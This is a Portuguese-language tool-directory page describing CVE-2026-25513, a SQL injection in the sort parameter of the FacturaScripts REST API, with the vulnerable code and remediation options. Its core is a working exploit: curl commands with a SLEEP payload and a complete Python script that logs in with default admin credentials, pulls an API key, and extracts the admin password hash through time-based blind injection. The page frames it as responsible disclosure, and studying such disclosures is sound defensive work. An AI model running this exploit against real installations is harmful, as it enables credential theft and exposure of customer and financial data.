Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-25513 — CVE-2026-25513 - FacturaScripts tem Injeção de SQL na cláusula ORDER BY da API | Kitploit
Ferramentas/GitHubGitHub/lukasz-rybak/cve-2026-25513
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHublukasz-rybak/cve-2026-25513

CVE-2026-25513

CVE-2026-25513 - FacturaScripts tem Injeção de SQL na cláusula ORDER BY da API

Ver Repositório
2há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-25513: FacturaScripts tem Injeção de SQL na cláusula ORDER BY da API

Visão Geral

CampoDetalhes
ID do CVECVE-2026-25513
SeveridadeALTA
ComunicadoVer Comunicado
Descoberto porLukasz Rybak

Produtos Afetados

  • facturascripts/facturascripts (versões: < 2025.81)

Classificação CWE

  • CWE-20: Validação de Entrada Incorreta
  • CWE-89: Neutralização Incorreta de Elementos Especiais usados em um Comando SQL ('Injeção de SQL')
  • CWE-943: Neutralização Incorreta de Elementos Especiais na Lógica de Consulta de Dados
  • CWE-1286: Validação Incorreta da Correção Sintática da Entrada

Detalhes

Resumo

O FacturaScripts contém uma vulnerabilidade crítica de injeção de SQL na API REST que permite que usuários autenticados da API executem consultas SQL arbitrárias por meio do parâmetro sort. A vulnerabilidade existe no método ModelClass::getOrderBy() onde os parâmetros de ordenação fornecidos pelo usuário são concatenados diretamente na cláusula SQL ORDER BY sem validação ou sanitização. Isso afeta todos os endpoints da API que suportam funcionalidade de ordenação.


Detalhes

A API REST do FacturaScripts expõe modelos de banco de dados através de vários endpoints (por exemplo, /api/3/users, /api/3/attachedfiles, /api/3/customers). Esses endpoints suportam um parâmetro sort que permite que os clientes especifiquem a ordenação dos resultados. A API processa esse parâmetro através do método ModelClass::all(), que chama a função vulnerável getOrderBy().

Locais de Código Vulneráveis

1. Modelos Legados: Arquivo: /Core/Model/Base/ModelClass.php Método: getOrderBy() Concatenação direta de chaves e valores do array $order.

2. Modelos Modernos (DbQuery): Arquivo: /Core/DbQuery.php Método: orderBy() Linhas: 255-259

root@kitploit:~
        // If it contains parentheses, it is not escaped (VULNERABILITY!)
        if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
            $this->orderBy[] = $field . ' ' . $order;
            return $this;
        }

Essa verificação tem a intenção de permitir funções SQL, mas falha ao validá-las, permitindo injeção de SQL arbitrária.


Prova de Conceito (PoC)

Pré-requisitos

  • Token de autenticação válido da API (cabeçalho X-Auth-Token)
  • Acesso aos endpoints da API do FacturaScripts

Verificação Passo a Passo (CLI)

Como o FacturaScripts exige uma chave de API existente, primeiro fazemos login pela interface web para encontrar uma chave válida.

1. Login e obtenção de uma chave de API válida: Lidamos com o token CSRF e os cookies de sessão para acessar as configurações e recuperar a primeira chave disponível.

root@kitploit:~
# Login
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"

# Find the ID of the first existing API key
API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)

# Extract the API key string using its ID
API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
echo "Using API Key: $API_KEY"

2. Verificação de Injeção de SQL Baseada em Tempo: Use a API_KEY extraída no cabeçalho X-Auth-Token.

root@kitploit:~
# Normal request (baseline)
time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"

# Injected request (SLEEP payload in the sort key)
time curl -g -s -H "X-Auth-Token: $API_KEY" \
  "http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"

Resultado Esperado: A requisição injetada levará significativamente mais tempo (o atraso depende dos registros do banco de dados), confirmando a injeção de SQL.


Ferramenta Automatizada de Exploração

Este script faz login automaticamente no FacturaScripts, recupera uma chave de API válida e realiza extração de dados sensível a maiúsculas/minúsculas usando injeção de SQL cega baseada em tempo.

root@kitploit:~
import requests
import time
import string
import re

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
API_ENDPOINT = "/api/3/users"

session = requests.Session()

def get_token(url):
    """Extract multireqtoken from any page"""
    res = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
    return match.group(1) if match else None

def get_api_key():
    """Logs in and retrieves the first active API key dynamically"""
    print(f"[*] Logging in as {USERNAME}...")
    
    # 1. Login flow
    token = get_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get initial CSRF token")
        return None
        
    login_data = {
        "fsNick": USERNAME,
        "fsPassword": PASSWORD,
        "action": "login",
        "multireqtoken": token
    }
    res = session.post(f"{BASE_URL}/login", data=login_data)
    if "Dashboard" not in res.text:
        print("[!] Login failed!")
        return None
    print("[+] Login successful.")

    # 2. Retrieve API Key ID from settings
    print("[*] Accessing API settings...")
    res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey")
    id_match = re.search(r'EditApiKey\?code=(\d+)', res.text)
    if not id_match:
        print("[!] No API keys found in system!")
        return None
    
    api_id = id_match.group(1)
    
    # 3. Get the actual API key string
    print(f"[*] Retrieving API key for ID {api_id}...")
    res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}")
    key_match = re.search(r'name="apikey" value="([^"]+)"', res.text)
    if not key_match:
        print("[!] Failed to extract API key from page!")
        return None
        
    return key_match.group(1)

def time_based_sqli(api_key, payload):
    """Execute time-based SQL injection and measure response time"""
    headers = {"X-Auth-Token": api_key}
    params = {
        'limit': 1,
        f'sort[{payload}]': 'ASC'
    }
    start = time.time()
    try:
        requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10)
    except requests.exceptions.ReadTimeout:
        return 10.0
    except:
        pass
    return time.time() - start

def extract_data(api_key, query, length=60):
    """Extracts data char by char using time-based blind SQLi"""
    extracted = ""
    charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"
    
    print(f"[*] Starting extraction for query: {query}")
    for i in range(1, length + 1):
        found = False
        for char in charset:
            # Added BINARY to force case-sensitive comparison
            payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
            elapsed = time_based_sqli(api_key, payload)
            
            if elapsed >= 2.0:
                extracted += char
                print(f"[+] Found char at pos {i}: {char} -> {extracted}")
                found = True
                break
        if not found:
            break
    return extracted

def main():
    print("="*60)
    print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
    print("="*60)

    # 1. Get API Key dynamically
    api_key = get_api_key()
    if not api_key:
        return
    print(f"[+] Using API Key: {api_key}")

    # 2. Verify vulnerability
    print("[*] Verifying vulnerability...")
    if time_based_sqli(api_key, "(SELECT SLEEP(2))") >= 2.0:
        print("[+] System is VULNERABLE!")
    else:
        print("[-] System not vulnerable or API key invalid.")
        return

    # 3. Extract Admin Password Hash
    admin_hash = extract_data(api_key, "SELECT password FROM users WHERE nick='admin'")
    print(f"\n[!] FINAL ADMIN HASH: {admin_hash}")

if __name__ == "__main__":
    main()
imagem

Impacto

Confidencialidade dos Dados

  • Divulgação completa do banco de dados através de técnicas de injeção de SQL cega
  • Extração de dados sensíveis, incluindo:
    • Credenciais de usuários e chaves de API
    • PII dos clientes (informações pessoais identificáveis)
    • Registros financeiros e dados de transações
    • Inteligência de negócios e informações de preços
    • Configuração do sistema e segredos

Quem é Impactado?

  • Organizações que usam a API do FacturaScripts para integrações
  • Aplicativos móveis e integrações de terceiros que usam a API
  • Todos os usuários cujos dados são acessíveis via API
  • Parceiros de negócios com acesso à API

Correção Recomendada

Remediação Imediata

Opção 1: Implementar Validação Estrita de Lista de Permissões (Recomendada)

root@kitploit:~
// File: Core/Model/Base/ModelClass.php
// Method: getOrderBy()

private static function getOrderBy(array $order): string
{
    $result = '';
    $coma = ' ORDER BY ';

    // Get valid column names from model
    $validColumns = array_keys(static::getModelFields());

    foreach ($order as $key => $value) {
        // Validate column name against whitelist
        if (!in_array($key, $validColumns, true)) {
            throw new \Exception('Invalid column name for sorting: ' . $key);
        }

        // Validate sort direction (must be ASC or DESC)
        $value = strtoupper(trim($value));
        if (!in_array($value, ['ASC', 'DESC'], true)) {
            throw new \Exception('Invalid sort direction: ' . $value);
        }

        // Escape column name
        $safeColumn = self::$dataBase->escapeColumn($key);
        $result .= $coma . $safeColumn . ' ' . $value;
        $coma = ', ';
    }

    return $result;
}

Opção 2: Usar Funções de Escape do Banco de Dados

root@kitploit:~
private static function getOrderBy(array $order): string
{
    $result = '';
    $coma = ' ORDER BY ';

    foreach ($order as $key => $value) {
        // Escape identifiers and validate direction
        $safeColumn = self::$dataBase->escapeColumn($key);
        $safeDirection = in_array(strtoupper($value), ['ASC', 'DESC'])
            ? strtoupper($value)
            : 'ASC';

        $result .= $coma . $safeColumn . ' ' . $safeDirection;
        $coma = ', ';
    }

    return $result;
}

Opção 3: Usar o Padrão Query Builder

root@kitploit:~
// Refactor to use prepared statements
public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array
{
    $query = self::table();

    // Apply WHERE conditions
    foreach ($where as $condition) {
        $query->where($condition);
    }

    // Apply ORDER BY with validation
    foreach ($order as $column => $direction) {
        if (!array_key_exists($column, static::getModelFields())) {
            continue; // Skip invalid columns
        }
        $query->orderBy($column, $direction);
    }

    return $query->offset($offset)->limit($limit)->get();
}

Melhores Práticas de Segurança da API

root@kitploit:~
// Add to API configuration
$config = [
    'max_sort_fields' => 3,  // Limit number of sort fields
    'allowed_sort_fields' => ['id', 'date', 'name'],  // Whitelist
    'default_sort' => 'id ASC',  // Safe default
];

Créditos

Descoberto por: Łukasz Rybak

Referências

  • https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cjfx-qhwm-hf99
  • https://github.com/NeoRazorX/facturascripts/commit/1b6cdfa9ee1bb3365ea4a4ad753452035a027605
  • https://nvd.nist.gov/vuln/detail/CVE-2026-25513
  • https://github.com/advisories/GHSA-cjfx-qhwm-hf99

Aviso Legal

Este CVE foi divulgado de forma responsável, seguindo práticas coordenadas de divulgação de vulnerabilidades. As informações fornecidas aqui são apenas para fins educacionais e defensivos.

Baixar ferramenta